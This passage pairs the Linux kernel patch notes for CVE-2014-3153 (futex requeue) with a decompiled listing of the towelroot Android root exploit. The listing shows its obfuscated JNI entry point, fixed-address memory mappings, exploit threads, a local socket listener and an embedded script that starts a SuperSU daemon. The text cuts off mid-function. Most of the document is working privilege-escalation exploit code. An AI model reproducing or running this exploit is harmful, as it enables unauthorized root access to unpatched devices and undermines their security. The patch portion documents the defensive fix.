CVE-2014-3153 com.geohot.towelroot
futex-prevent-requeue-pi-on-same-futex.patch futex: Forbid uaddr == uaddr2 in futex_requeue(..., requeue_pi=)
If uaddr == uaddr2, then we have broken the rule of only requeueing from
a non-pi futex to a pi futex with this call. If we attempt this, then
dangling pointers may be left for rt_waiter resulting in an exploitable
condition. This change brings futex_requeue() in line with futex_wait_requeue_pi()
which performs the same check as per commit 6f7b0a2a5c0f ("futex: Forbid
uaddr == uaddr2 in futex_wait_requeue_pi()") [ tglx: Compare the resulting keys as well, as uaddrs might be
different depending on the mapping ] Fixes CVE--. Reported-by: Pinkie Pie
Signed-off-by: Will Drewry <wad@chromium.org>
Signed-off-by: Kees Cook <keescook@chromium.org>
Cc: stable@vger.kernel.org
Signed-off-by: Thomas Gleixner <tglx@linutronix.de>
Reviewed-by: Darren Hart <dvhart@linux.intel.com>
Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
/* This file has been generated by the Hex-Rays decompiler.
Copyright (c) 2007-2014 Hex-Rays <info@hex-rays.com>
Detected compiler: GNU C++
*/
#include <defs.h>
//-------------------------------------------------------------------------
// Function declarations
// int __fastcall _aeabi_memcpy(_DWORD, _DWORD, _DWORD); weak
// int _android_log_print(_DWORD, _DWORD, const char *, ...); weak
// int __fastcall sleep(_DWORD); weak
// int __fastcall getpid(_DWORD); weak
// int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall pthread_mutex_lock(_DWORD); weak
// int __fastcall pthread_cond_wait(_DWORD, _DWORD); weak
// int __fastcall socket(_DWORD, _DWORD, _DWORD); weak
// int __cdecl setsockopt(_DWORD); weak
// int __fastcall bind(_DWORD, _DWORD, _DWORD); weak
// int __fastcall listen(_DWORD, _DWORD); weak
// int __fastcall accept(_DWORD, _DWORD, _DWORD); weak
// int __fastcall syscall(_DWORD, _DWORD, _DWORD, _DWORD); weak
// int __fastcall kill(_DWORD, _DWORD); weak
// int __fastcall pthread_mutex_unlock(_DWORD); weak
// int __fastcall usleep(_DWORD); weak
// int sprintf(char *, const char *, ...);
// FILE *fopen(const char *, const char *);
// size_t fread(void *, size_t, size_t, FILE *);
// char *strstr(const char *, const char *);
// int atoi(const char *);
// void *malloc(size_t);
// int pthread_mutex_init(void); weak
// int __fastcall write(_DWORD, _DWORD, _DWORD); weak
// int __fastcall munmap(_DWORD, _DWORD); weak
// int __fastcall setpriority(_DWORD, _DWORD, _DWORD); weak
// void perror(const char *);
// int __fastcall recvmsg(_DWORD, _DWORD, _DWORD); weak
// int __fastcall sendmsg(_DWORD, _DWORD, _DWORD); weak
// int __fastcall connect(_DWORD, _DWORD, _DWORD); weak
// int __fastcall pthread_cond_signal(_DWORD); weak
// int __fastcall sigaction(_DWORD, _DWORD, _DWORD); weak
// size_t fwrite(const void *, size_t, size_t, FILE *);
// int fclose(FILE *);
// int __fastcall chmod(_DWORD, _DWORD); weak
// int fork(void); weak
// int system(const char *);
// int getuid(void); weak
// int __fastcall open(_DWORD, _DWORD); weak
// int unlockpt(void); weak
// int __fastcall ptsname(_DWORD); weak
// int __fastcall pipe(_DWORD); weak
// int __fastcall read(_DWORD, _DWORD, _DWORD); weak
// int __cdecl _errno(_DWORD, _DWORD); weak
// int __fastcall close(_DWORD); weak
// int __fastcall _aeabi_memset(_DWORD, _DWORD, _DWORD); weak
// size_t strlen(const char *);
// int memcmp(const void *, const void *, size_t);
int __fastcall Java_com_geohot_towelroot_TowelRoot_rootTheShit(int a1);
int sub_12C0();
signed int sub_189C();
int sub_1B08();
int sub_5960();
int sub_7390();
int __fastcall sub_7690(int a1);
int __fastcall sub_8394(int a1);
signed int sub_881C();
int __fastcall sub_B7D8(int a1, int a2, int a3);
int __fastcall sub_BA44(int a1, int a2, int a3);
signed int sub_BD38();
int __fastcall sub_D64C(int result);
int __fastcall sub_D66C(int result);
int __fastcall sub_D7EC(int result);
int __fastcall sub_D86C(int result);
int __fastcall sub_D8EC(int result);
void __fastcall sub_DAEC(int a1);
void sub_DB44();
unsigned int __fastcall sub_DB74(unsigned int a1, unsigned int *a2);
void sub_DB7C();
int __fastcall sub_DBDC(int result);
void __fastcall __spoils<R1,R2,R3,R12> sub_DE6C(int a1, int a2, int i, int a4);
void __fastcall __spoils<R1,R2,R3> sub_E1A4(int a1, int a2, int a3);
int __fastcall sub_E36C(void *a1, void *a2);
int __fastcall sub_E5DC(int result);
int __fastcall sub_E5FC(int result);
int __fastcall sub_E6BC(int result);
int __fastcall sub_E6EC(int result);
int __fastcall sub_E70C(int result);
int __fastcall sub_E7AC(int result);
int __fastcall sub_E7CC(int result);
int __fastcall sub_E80C(int result);
int __fastcall sub_E83C(int a1, int a2, int a3, int a4);
int __fastcall sub_E85C(int a1, int a2, int a3, int a4);
unsigned int __fastcall sub_E91C(unsigned int result, unsigned int a2);
unsigned int __fastcall sub_E9C8(unsigned int a1, unsigned int a2);
int __fastcall sub_E9E0(int result, unsigned int a2);
int __cdecl nullsub_1(_DWORD); // weak
int __fastcall sub_EAE0(_DWORD, _DWORD, _DWORD, _DWORD); // weak
int __fastcall sub_EAE4(__int64 a1, __int64 a2);
int __fastcall sub_ED90(int result);
int __fastcall sub_EDB4(int result);
int __fastcall sub_EE90(int result, unsigned int a2, int a3, unsigned int a4);
void __fastcall sub_F0FC(int a1, int a2, int a3, unsigned int a4);
void __fastcall sub_F290(int a1, int a2, int a3, unsigned int a4);
int __fastcall sub_F310(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
unsigned int __fastcall sub_F398(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
void __fastcall __spoils<R1,R2,R3,R12> sub_F3B4(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3C8(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3DC(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F3F0(unsigned int a1, unsigned int a2, unsigned int a3, signed int a4);
void __fastcall sub_F404(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
void __fastcall sub_F418(unsigned int a1, signed int a2, unsigned int a3, unsigned int a4);
unsigned int __fastcall sub_F42C(unsigned int a1, int a2);
unsigned int __fastcall sub_F488(int a1, int a2);
int __fastcall sub_F528(int a1, int a2, int a3);
unsigned __int64 __fastcall sub_F53C(__int64 a1, __int64 a2);
int __fastcall sub_F558(__int64 a1, __int64 a2);
int __fastcall sub_F58C(__int64 a1, __int64 a2, int a3);
unsigned __int64 __fastcall sub_F5D0(__int64 a1, __int64 a2, int a3);
unsigned __int64 __fastcall sub_10A64(unsigned int a1, unsigned int a2, int a3, int a4);
signed int __fastcall sub_10EE0(unsigned int a1, unsigned int a2, unsigned int a3, unsigned int a4);
int __fastcall sub_13628(int a1, int a2, int a3, int a4, int a5, int a6, int a7, int a8, int a9, int (__fastcall *a10)(_DWORD));
int __fastcall sub_185F4(int a1);
int __fastcall sub_18928(int a1);
int __fastcall sub_18964(int a1, int a2, int a3, int a4, int a5, int a6);
signed int __fastcall sub_18C08(int a1);
signed int __fastcall sub_18C54(int a1);
int sub_18D40();
int __fastcall sub_19008(int (__fastcall *a1)(_DWORD));
signed int __fastcall sub_190DC(int a1);
int __fastcall sub_1943C(int a1, int a2, int a3, int a4, int a5, int (*a6)(void));
signed int __fastcall sub_19ADC(signed int a1, int a2);
int __fastcall sub_19AFC(signed int a1, int a2, int a3);
int __fastcall sub_1ADCC(int a1, int a2, int a3);
int __fastcall sub_1AE6C(int a1, int a2);
signed int __fastcall sub_1B7D0(signed int a1);
int __fastcall sub_1B870(int a1);
signed int __fastcall sub_1BDE4(unsigned int a1);
signed int __fastcall sub_1BE20(unsigned int *a1);
signed int __fastcall sub_1BE7C(int a1, int a2);
__int64 __fastcall sub_1BEC4(int a1, int a2);
void __fastcall sub_1BF74(int a1, void *a2);
char *__fastcall sub_1C184(int a1);
char *__fastcall sub_1C1D8(int a1, int a2, int a3, int a4);
char *__fastcall sub_1C298(int a1, int a2);
char *__fastcall sub_1C400(int a1, int a2);
signed int __fastcall sub_1C570(signed int result);
signed int __fastcall sub_1C5A0(signed int a1, unsigned int a2);
signed int __fastcall sub_1C64C(signed int *a1, signed int a2);
signed int __fastcall sub_1C67C(signed int a1, int a2, int a3);
int __fastcall sub_1C71C(signed int a1, unsigned int a2);
char *__fastcall sub_1D5AC(int a1, signed int a2, signed int a3, int a4);
int __fastcall sub_1D634(int a1, int a2);
int __fastcall sub_1E164(int a1, int a2, signed int a3);
int __fastcall sub_1E41C(int a1, int a2, signed int a3);
unsigned int __fastcall sub_1E5DC(unsigned int result, int a2, int a3);
int __fastcall sub_1E61C(int a1, int a2, int a3);
int __fastcall sub_1E6A0(int a1, int a2, int a3);
int __fastcall sub_1E8C8(int a1, int a2, int a3, int a4);
signed int sub_1ECC4();
signed int sub_1ECD4();
int sub_1ED08();
signed int __fastcall sub_1ED8C(int a1, int a2);
signed int __fastcall sub_1EE30(int a1, int a2);
int __fastcall sub_1EE94(int result, int a2);
void sub_1EEBC();
void __fastcall sub_1EECC(unsigned int *a1);
void sub_1EF28();
signed int __fastcall sub_1EF38(int a1);
void __fastcall sub_1EF90(int a1);
void __fastcall sub_1EFCC(int a1);
void __fastcall sub_1F0E0(int a1);
signed int __fastcall sub_1F158(int a1);
signed int __fastcall sub_1F250(unsigned int *a1);
signed int __fastcall sub_1F524(int a1, int a2, char *a3, int a4);
int __fastcall sub_1F840(int a1);
int __fastcall sub_1FAB4(int (__fastcall *a1)(_DWORD), int a2, unsigned int *a3);
int sub_1FD74();
int sub_1FD84();
int sub_1FDA0();
int sub_1FDD8();
signed int __fastcall sub_20060(int a1, unsigned int a2, unsigned int a3, int a4);
signed int __fastcall sub_201B0(signed int a1, int a2);
signed int __fastcall sub_20418(int a1, int a2, int a3);
signed int __fastcall sub_20498(signed int result);
signed int __fastcall sub_20510(int a1);
signed int __fastcall sub_20590(int a1, int a2);
int __fastcall sub_20780(int a1, char *a2, int a3);
int __fastcall sub_207E8(int a1, char *a2, int a3, int a4);
int __fastcall sub_229AC(int a1, signed int a2, int a3, int a4);
int sub_22CF0(void); // weak
int __fastcall sub_22D08(_DWORD); // weak
//-------------------------------------------------------------------------
// Data declarations
_UNKNOWN unk_CAC9; // weak
_UNKNOWN unk_CDF9; // weak
char install_recovery_sh[630] = "#!/system/bin/sh\n\n# If you're implementing this in a custom kernel/firmware,\n# I suggest you use a different script name, and add a service\n# to launch it from init.rc\n\n# Launches SuperSU in daemon mode only on Android 4.3+.\n# Nothing will happen on 4.2.x or older, unless SELinux+Enforcing.\n# If you want to force loading the daemon, use \"--daemon\" instead\n\n/system/xbin/daemonsu --auto-daemon &\n\n# Some apps like to run stuff from this script as well, that will \n# obviously break root - in your code, just search this file\n# for \"install-recovery-2.sh\", and if present, write there instead.\n\n/system/etc/install-recovery-2.sh\n"; // weak
_UNKNOWN install_recovery_sh_len; // weak
_UNKNOWN su; // weak
_UNKNOWN loc_EC2C; // weak
_UNKNOWN loc_EF74; // weak
_UNKNOWN loc_F024; // weak
_UNKNOWN loc_F08C; // weak
_UNKNOWN loc_F0D8; // weak
_UNKNOWN loc_F0F0; // weak
int dword_18734 = 2155905152; // weak
void *off_18958 = &loc_DE58; // weak
int dword_1895C = 4294966960; // weak
int dword_18960 = 21505; // weak
void *off_18C84 = &unk_DB30; // weak
int dword_18C88 = 4294967208; // weak
void *off_18D78 = &loc_1E56C; // weak
void *off_18D7C = &loc_1E5EA; // weak
void *off_18D80 = &unk_DA34; // weak
int dword_18D84 = 4294967212; // weak
int dword_18D88 = 4294967216; // weak
void *off_19040 = &loc_D778; // weak
int dword_19044 = 4294967220; // weak
void *off_191B4 = &loc_D6A4; // weak
int dword_191B8 = 4294967216; // weak
void *off_191BC = (void *)0xFFFFFF49; // weak
void *off_191C0 = (void *)0xDFFF; // weak
void *off_19E40 = (void *)0xCC84; // weak
int dword_19E44 = 4294966960; // weak
void *off_19E48 = (void *)0x9376; // weak
int dword_1AD54 = 4294966960; // weak
void *off_1AE58 = &loc_B9B4; // weak
int dword_1AE5C = 4294966960; // weak
int dword_1AE64 = 1124; // weak
void *off_1B868 = &loc_AFB0; // weak
int dword_1B86C = 4294967216; // weak
void *off_1B91C = (void *)0xAF0E; // weak
int dword_1B920 = 4294967244; // weak
int dword_1B924 = 4294967248; // weak
int dword_1B928 = 4294967200; // weak
int dword_1B92C = 4294967252; // weak
int dword_1BEB8 = 2146435072; // weak
int dword_1BEBC = 4240441344; // weak
__int64 qword_1BF64 = 9221120237041090560LL; // weak
void *off_1BF6C = &unk_1BAB2; // weak
int dword_1BF70 = 1072693248; // weak
void *off_1BFDC = &unk_1BA00; // weak
void *off_1C1D0 = &loc_1B7F2; // weak
void *off_1C1D4 = &unk_1B7B8; // weak
void *off_1C28C = &unk_1B78E; // weak
int dword_1C290 = 4294966221; // weak
int dword_1C294 = 4294966222; // weak
void *off_1C3F4 = &loc_1B6DC; // weak
void *off_1C3F8 = (void *)0x1B6A8; // weak
void *off_1C3FC = &loc_1B590; // weak
void *off_1C55C = (void *)0x1B574; // weak
void *off_1C560 = &loc_1B52A; // weak
void *off_1C564 = &loc_1B50A; // weak
int dword_1C568 = 4294901760; // weak
void *off_1C56C = &loc_1B432; // weak
void *off_1C59C = &loc_1B404; // weak
void *off_1C644 = &loc_1B3D4; // weak
void *off_1C648 = &loc_1B3AE; // weak
void *off_1C678 = &loc_1B328; // weak
void *off_1C714 = &loc_1B2F8; // weak
void *off_1C718 = &loc_1B2A2; // weak
void *off_1C7D4 = &loc_1B258; // weak
void *off_1C7D8 = (void *)0x6A56; // weak
void *off_1C7DC = &loc_1B22C; // weak
int dword_1C7E0 = 625; // weak
void *off_1C7E4 = &loc_1B1F8; // weak
void *off_1D62C = &unk_1A3A4; // weak
int dword_1D904 = 0; // weak
int dword_1D90C = 0; // weak
void *off_1D914 = (void *)0x914A; // weak
int dword_1D918 = 4294967240; // weak
int dword_1D91C = 4294967268; // weak
void *off_1D920 = (void *)0x75F7; // weak
char *off_1D924 = (char *)0x75EB; // weak
char *off_1D928 = (char *)0x75CB; // weak
int dword_1D930 = 19999; // weak
int dword_1DC44 = 0; // weak
int dword_1DC4C = 0; // weak
int dword_1DC50 = 0; // weak
void *off_1DC54 = (void *)0x5832; // weak
void *off_1DC58 = (void *)0x57F2; // weak
void *off_1DC5C = (void *)0x57D2; // weak
void *off_1DC60 = (void *)0x57A2; // weak
void *off_1DC64 = (void *)0x5776; // weak
void *off_1DC68 = &loc_57A0; // weak
int dword_1DC6C = 4239392768; // weak
void *off_1DC70 = (void *)0x576A; // weak
int dword_1DC74 = 2146435072; // weak
int dword_1DC78 = 2090860544; // weak
int dword_1DC7C = 2089811968; // weak
int dword_1DC80 = 2146435071; // weak
void *off_1DC84 = (void *)0x569E; // weak
void *off_1DC88 = &loc_56F4; // weak
void *off_1DC8C = &loc_56B8; // weak
void *off_1DC90 = &unk_19D9C; // weak
int dword_1DF94 = 0; // weak
int dword_1DF98 = 0; // weak
int dword_1DF9C = 0; // weak
int dword_1DFA0 = 1073741824; // weak
int dword_1DFA4 = 0; // weak
int dword_1DFA8 = 1072693248; // weak
int dword_1DFAC = 0; // weak
int dword_1DFB0 = 1071644672; // weak
int dword_1DFB4 = 1075; // weak
int dword_1DFB8 = 4294966275; // weak
void *off_1DFBC = &unk_19C4E; // weak
void *off_1DFC0 = &loc_19BDA; // weak
int dword_1DFC4 = 1048575; // weak
int dword_1DFC8 = 2146435072; // weak
int dword_1DFD0 = 1072693248; // weak
int dword_1DFD4 = 1071644672; // weak
int dword_1DFD8 = 3220176896; // weak
int dword_1DFDC = 2145386496; // weak
int dword_1DFE0 = 4239392768; // weak
int dword_1DFE4 = 2090860543; // weak
int dword_1DFE8 = 2146435071; // weak
int dword_1E134 = 0; // weak
int dword_1E138 = 1072693248; // weak
__int64 qword_1E13C = 4602678819172646912LL; // weak
int dword_1E144 = 2493527445; // weak
int dword_1E148 = 1071644671; // weak
int dword_1E14C = 900719925; // weak
int dword_1E150 = 1071644672; // weak
int dword_1E154 = 2493527445; // weak
int dword_1E158 = 1070596095; // weak
int dword_1E15C = 2146435072; // weak
__int64 qword_1E3C4 = 2305843009213693951LL; // weak
int dword_1E3CC = 0; // weak
int dword_1E3D0 = 3758096384; // weak
__int64 qword_1E3D4 = 1152921504606846975LL; // weak
int dword_1E3DC = 0; // weak
int dword_1E3E0 = 4026531840; // weak
__int64 qword_1E3E4 = 922337203685477580LL; // weak
int dword_1E3EC = 858993460; // weak
int dword_1E3F0 = 4080218931; // weak
__int64 qword_1E3F4 = 9223372036854775807LL; // weak
__int64 qword_1E3FC = -9223372036854775808LL; // weak
int dword_1E404 = 0; // weak
int dword_1E408 = 4160749568; // weak
__int64 qword_1E40C = 576460752303423487LL; // weak
void *off_1E414 = (void *)0x861A; // weak
int dword_1E418 = 4294967240; // weak
__int64 qword_1E5BC = 1844674407370955161LL; // weak
__int64 qword_1E5C4 = 1152921504606846975LL; // weak
__int64 qword_1E5CC = 2305843009213693951LL; // weak
void *off_1E5D4 = (void *)0x8362; // weak
int dword_1E5D8 = 4294967240; // weak
void *off_1E648 = (void *)0x4E86; // weak
_UNKNOWN loc_1E9B0; // weak
void *off_1ECD0 = &unk_18E58; // weak
void *off_1ECE0 = &unk_18E48; // weak
void *off_1F0D8 = &unk_18B04; // weak
void *off_1F0DC = &unk_18AA8; // weak
int dword_1F0FC = 3735883980; // weak
void *off_1F24C = &loc_18948; // weak
void *off_1F3C4 = &unk_18834; // weak
void *off_1F3C8 = &unk_1879C; // weak
void *off_1F5F0 = &unk_185A8; // weak
void *off_1F5F4 = &unk_18570; // weak
void *off_1F5F8 = &loc_3FE4; // weak
void *off_1FAA4 = &unk_18274; // weak
void *off_1FAA8 = &unk_18254; // weak
void *off_1FAAC = &unk_18168; // weak
void *off_1FAB0 = &unk_180B8; // weak
int (*off_1FD80)(void) = (int (*)(void))0xFFFF0FE0; // weak
void *off_1FD98 = (void *)0x69FE; // weak
int dword_1FD9C = 4294967284; // weak
void *off_1FDB4 = (void *)0x69E2; // weak
int dword_1FDB8 = 4294967284; // weak
void *off_1FDEC = (void *)0x69AA; // weak
int dword_1FDF0 = 4294967284; // weak
void *off_201A0 = &loc_671C; // weak
int dword_201A4 = 4294967216; // weak
void *off_201A8 = (void *)0xFFFFFF39; // weak
void *off_201AC = (void *)0xDFFF; // weak
void *off_2048C = (void *)0x635E; // weak
int dword_20490 = 4294959104; // weak
int dword_20494 = 4294967228; // weak
void *off_20508 = &loc_62E8; // weak
int dword_2050C = 4294967212; // weak
int dword_2058C = 1021; // weak
void *off_20658 = &loc_61F0; // weak
int dword_2065C = 4294967216; // weak
void *off_207DC = (void *)0x3333; // weak
char *off_207E0 = (char *)0x46F6; // weak
void *off_207E4 = (void *)0xA192; // weak
void *off_20840 = (void *)0x5F96; // weak
int dword_20844 = 4294966960; // weak
int dword_2084C = 1028; // weak
int dword_229F8 = 2147483647; // weak
_UNKNOWN su_len; // weak
void *swag = &swag; // weak
void *swag2 = &swag2; // weak
void **ph = &default_phone; // weak
char *new_samsung = "Linux version 3.4.0-"; // weak
_UNKNOWN phones; // idb
int GLOBAL_OFFSET_TABLE_ = 0; // weak
int HACKS_final_stack_base; // idb
_UNKNOWN waiter_thread_tid; // weak
_UNKNOWN done_lock; // weak
_UNKNOWN done; // weak
_UNKNOWN is_thread_desched_lock; // weak
_UNKNOWN is_thread_desched; // weak
_UNKNOWN do_socket_tid_read; // weak
_UNKNOWN did_socket_tid_read; // weak
_UNKNOWN do_splice_tid_read; // weak
_UNKNOWN did_splice_tid_read; // weak
_UNKNOWN do_dm_tid_read; // weak
_UNKNOWN did_dm_tid_read; // weak
_UNKNOWN is_thread_awake_lock; // weak
_UNKNOWN is_thread_awake; // weak
_UNKNOWN HACKS_fdm; // weak
_UNKNOWN MAGIC; // weak
_UNKNOWN MAGIC_ALT; // weak
_UNKNOWN is_kernel_writing; // weak
_UNKNOWN last_tid; // weak
//----- (00001170) --------------------------------------------------------
int __fastcall Java_com_geohot_towelroot_TowelRoot_rootTheShit(int a1)
{
signed int v1; // r1@1
signed int v2; // r0@2
int v4; // [sp+0h] [bp-F0h]@1
char v5; // [sp+8h] [bp-E8h]@4
int v6; // [sp+D0h] [bp-20h]@1
v4 = a1;
sub_12C0();
v6 = 0;
v1 = 1781537823;
do
{
while ( 1 )
{
while ( 1 )
{
do
{
while ( 1 )
{
v2 = v1;
if ( v1 > 841942081 )
break;
if ( v1 != -542097158 )
goto LABEL_12;
_aeabi_memcpy(
&v5,
"Thank you for using towelroot!\n\nIn 15 seconds your phone will reboot\nAnd you shall have root\n\nIf you enjoyed this, please donate at\ntowelroot.com\nYour donations make these roots happen!",
186);
v1 = 1719402594;
}
v1 = 841942082;
}
while ( v2 == 1075916476 );
if ( v2 != 841942082 )
break;
_aeabi_memcpy(&v5, "Check adb logcat for debug info", 32);
v1 = 580529129;
}
if ( v2 != 1781537823 )
break;
v1 = 1075916476;
if ( !v6 )
v1 = -542097158;
}
LABEL_12:
v1 = 1719402594;
}
while ( v2 == 580529129 );
if ( v2 != 1719402594 )
{
while ( 1 )
;
}
return (*(int (**)(void))(*(_DWORD *)v4 + 668))();
}
// F24: using guessed type int __fastcall _aeabi_memcpy(_DWORD, _DWORD, _DWORD);
//----- (000012C0) --------------------------------------------------------
int sub_12C0()
{
signed int v0; // r0@1
int v1; // r0@26
int v2; // r0@26
int v3; // r0@26
char v4; // nf@26
char v5; // r0@26
int v6; // r0@38
int v7; // r0@38
int v8; // r1@48
int v10; // [sp+0h] [bp-78h]@26
int v11; // [sp+4h] [bp-74h]@26
const char *v12; // [sp+10h] [bp-68h]@38
int v13; // [sp+14h] [bp-64h]@1
int *v14; // [sp+18h] [bp-60h]@1
int *v15; // [sp+1Ch] [bp-5Ch]@1
unsigned int v16; // [sp+20h] [bp-58h]@26
int *v17; // [sp+24h] [bp-54h]@26
int v18; // [sp+28h] [bp-50h]@1
signed int (*v19)(); // [sp+2Ch] [bp-4Ch]@1
const char *v20; // [sp+30h] [bp-48h]@1
const char *v21; // [sp+34h] [bp-44h]@1
int *v22; // [sp+38h] [bp-40h]@1
const char *v23; // [sp+3Ch] [bp-3Ch]@1
int v24; // [sp+40h] [bp-38h]@1
const char *v25; // [sp+44h] [bp-34h]@1
int *v26; // [sp+48h] [bp-30h]@1
int *v27; // [sp+4Ch] [bp-2Ch]@26
int *v28; // [sp+50h] [bp-28h]@26
char v29; // [sp+57h] [bp-21h]@16
v24 = (int)"towelroot";
v23 = "first mmap failed?\n";
v22 = &GLOBAL_OFFSET_TABLE_;
v21 = "************************\n";
v20 = "native towelroot running with pid %d\n";
v19 = sub_189C;
v18 = (int)&MAGIC;
v15 = &GLOBAL_OFFSET_TABLE_;
v14 = &GLOBAL_OFFSET_TABLE_;
v13 = (int)&MAGIC_ALT;
v26 = &GLOBAL_OFFSET_TABLE_;
v25 = "second mmap failed?\n";
v0 = -1355491773;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v0 > 2035084892 )
{
if ( v0 == 2035084893 )
LABEL_2:
v0 = 335115831;
}
if ( v0 <= 1915650398 )
break;
if ( v0 == 1915650399 )
{
_android_log_print(4, (char *)v26 + 0xFFFE1BCB, v25);
goto LABEL_14;
}
}
if ( v0 <= 1752490660 )
break;
if ( v0 == 1752490661 )
{
v0 = 349808689;
if ( v29 )
v0 = 2035084893;
}
}
if ( v0 <= 1205967478 )
break;
if ( v0 == 1205967479 )
{
sleep(10);
v0 = 924295727;
}
}
if ( v0 > -2022440304 )
break;
if ( v0 == -2092492047 )
{
_android_log_print(4, v24, v23);
goto LABEL_2;
}
}
if ( v0 > -1672133189 )
break;
if ( v0 == -2022440303 )
LABEL_35:
v0 = 1205967479;
}
if ( v0 > -1355491774 )
break;
if ( v0 == -1672133188 )
{
v17 = &v10;
v27 = &v10;
v28 = &v10;
v16 = (unsigned int)((char *)v22 + 0xFFFE1BCB);
v1 = _android_log_print(4, (char *)v22 + 0xFFFE1BCB, v21);
v2 = getpid(v1);
_android_log_print(4, v16, v20, v2);
sub_BD38();
pthread_create(v17, 0, v19, 0);
v10 = -1;
v11 = 0;
v3 = mmap(-1610612736, 1114112, 7, 49) + 2048;
v4 = v3 < 0;
*(_DWORD *)v18 = v3;
v5 = 0;
if ( !v4 )
v5 = 1;
v29 = v5;
v0 = 1752490661;
}
}
if ( v0 > -1218026409 )
break;
if ( v0 == -1355491773 )
LABEL_39:
v0 = -1672133188;
}
if ( v0 > -1194516410 )
break;
if ( v0 == -1218026408 )
{
sleep(10);
goto LABEL_35;
}
}
if ( v0 > 190053935 )
break;
if ( v0 == -1194516409 )
{
v16 = (unsigned int)((char *)v15 + 0xFFFE1BCB);
v17 = &v10;
_android_log_print(4, (char *)v15 + 0xFFFE1BCB, (const char *)v15 + 0xFFFE1BD5);
v12 = (char *)v15 + 0xFFFE1BEF;
v6 = ((int (*)(void))getpid)();
_android_log_print(4, v16, v12, v6);
sub_BD38();
pthread_create(v17, 0, (char *)v15 + 0xFFFD6B04, 0);
v10 = -1;
v11 = 0;
v7 = mmap(-1610612736, 1114112, 7, 49);
**(_DWORD **)((char *)v15 + 0xFFFFFF90) = v7 + 2048;
goto LABEL_39;
}
}
if ( v0 > 335115830 )
break;
if ( v0 == 190053936 )
LABEL_55:
v0 = -2022440303;
}
if ( v0 > 349808688 )
break;
if ( v0 == 335115831 )
{
_android_log_print(4, (char *)v14 + 0xFFFE1BCB, (const char *)v14 + 0xFFFE1C15);
v0 = 190053936;
}
}
if ( v0 > 579860299 )
break;
if ( v0 == 349808689 )
{
v10 = -1;
v11 = 0;
v8 = mmap(0x100000, 1114112, 7, 49) + 2048;
v0 = 579860300;
if ( (unsigned int)v8 > 0x110000 )
v0 = 33119;
*(_DWORD *)v13 = v8;
if ( (unsigned int)v8 > 0x110000 )
HIWORD(v0) = 29230;
}
}
if ( v0 != 921298487 )
break;
sleep(10);
LABEL_14:
v0 = 921298487;
}
if ( v0 == 924295727 )
goto LABEL_55;
}
while ( v0 != 579860300 );
pthread_mutex_lock(&done_lock);
pthread_create(v27, 0, sub_1B08, 0);
pthread_create(v28, 0, sub_5960, 0);
return pthread_cond_wait(&done, &done_lock);
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F48: using guessed type int __fastcall getpid(_DWORD);
// F54: using guessed type int __fastcall pthread_create(_DWORD, _DWORD, _DWORD, _DWORD);
// F60: using guessed type int __fastcall mmap(_DWORD, _DWORD, _DWORD, _DWORD);
// F6C: using guessed type int __fastcall pthread_mutex_lock(_DWORD);
// F78: using guessed type int __fastcall pthread_cond_wait(_DWORD, _DWORD);
// 2AD98: using guessed type int GLOBAL_OFFSET_TABLE_;
//----- (0000189C) --------------------------------------------------------
signed int sub_189C()
{
int v0; // r0@1
int v1; // r6@1
signed int result; // r0@1
char v3; // nf@10
char v4; // r0@10
int v5; // [sp+10h] [bp-40h]@1
int v6; // [sp+20h] [bp-30h]@1
int v7; // [sp+24h] [bp-2Ch]@1
int v8; // [sp+28h] [bp-28h]@1
int v9; // [sp+2Ch] [bp-24h]@1
char v10; // [sp+33h] [bp-1Dh]@12
v9 = 0;
v8 = 0;
v0 = socket(2, 1, 6);
v1 = v0;
v5 = v0;
setsockopt(v0);
v6 = -1357578238;
v7 = 16777343;
bind(v1, &v6, 16);
listen(v1, 1);
result = -885471600;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( result <= -1081728882 )
{
if ( result == -1784967860 )
{
sleep(10);
result = -1784967860;
}
}
if ( result <= 1480809678 )
break;
if ( result == 1480809679 )
{
_android_log_print(4, "towelroot", "**** SOCK_PROC FAILED ****\n");
result = -1784967860;
}
}
if ( result > -885471601 )
break;
if ( result == -1081728881 )
{
v3 = accept(v5, 0, 0) < 0;
v4 = 0;
if ( v3 )
v4 = 1;
v10 = v4;
result = -412768850;
}
}
if ( result > -412768851 )
break;
if ( result == -885471600 )
result = -1081728881;
}
if ( result > 368698846 )
break;
if ( result == -412768850 )
{
result = 1040048129;
if ( v10 )
result = 1480809679;
}
}
if ( result != 980883411 )
break;
accept(v5, 0, 0);
result = -1081728881;
}
if ( result != 1040048129 )
break;
_android_log_print(4, "towelroot", "i have a client like hookers\n");
result = -885471600;
}
}
while ( result != 368698847 );
return result;
}
// F30: using guessed type int _android_log_print(_DWORD, _DWORD, const char *, ...);
// F3C: using guessed type int __fastcall sleep(_DWORD);
// F84: using guessed type int __fastcall socket(_DWORD, _DWORD, _DWORD);
// F90: using guessed type int __cdecl setsockopt(_DWORD);
// F9C: using guessed type int __fastcall bind(_DWORD, _DWORD, _DWORD);
// FA8: using guessed type int __fastcall listen(_DWORD, _DWORD);
// FB4: using guessed type int __fastcall accept(_DWORD, _DWORD, _DWORD);
//----- (00001B08) --------------------------------------------------------
int sub_1B08()
{
int *v0; // r6@1
signed int v1; // r5@1
signed int v2; // r7@1
signed int v3; // r10@1
signed int v4; // r4@1
signed int v5; // r3@1
signed int v6; // lr@1
signed int v7; // r9@1
signed int v8; // r2@1
signed int v9; // r8@1
signed int v10; // r0@1
void *v11; // r1@13
signed int v12; // r10@13
int v13; // r0@13
signed int v14; // r10@23
signed int v15; // r10@39
